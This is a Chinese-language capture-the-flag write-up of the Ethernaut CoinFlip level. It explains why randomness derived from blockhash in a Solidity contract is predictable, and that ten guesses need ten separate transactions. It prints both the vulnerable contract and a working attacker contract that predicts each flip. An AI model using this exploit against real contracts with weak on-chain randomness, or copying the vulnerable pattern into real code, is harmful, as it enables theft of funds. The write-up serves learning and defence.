最近在刷Ethersnaut,有道题目是猜测问题,需要在看到被攻击合约代码后,找到攻击点,使得可以连续猜中10次以上。被攻击合约中,本意是想使用随机数来计算。可以在整个计算中是可以预测和计算,这并不是真的是随机数。如果是要使用随机数,最好是是用预言机来获取随机数,在每次计算时都是未知和不可以预测的,这样才会防止被攻击。在web2的传统开发思路中,循环10次就可以完成10次的猜测动作,这个是个容易忽视的陷阱。在合约开发中,首先一定要熟悉整个交易打包的底层机制,首先是发出交易,进入内存池等待,交易打包,然后对交易进行计算处理(其中就有EVM参与的执行),如果是在一个交易中循环执行10次,但是block.number等信息始终不变,一个交易中block信息不会变化。要想实现10次有不同的block.number,则要发起10次不同的交易。
// 这是被攻击合约代码
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
// 正确的攻击代码
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttack {
ICoinFlip public coinflip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor (address _coinflip) {
coinflip = ICoinFlip(_coinflip);
}
function attack() public {
uint256 blockValue = uint256(blockhash(block.number -1 ));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
coinflip.flip(side);
}
}
// 错误示例攻击伪代码
for (uint256 i = 0; i < 10; i++) {
//一些前置处理,记录
attack();
// 一些后置处理
}
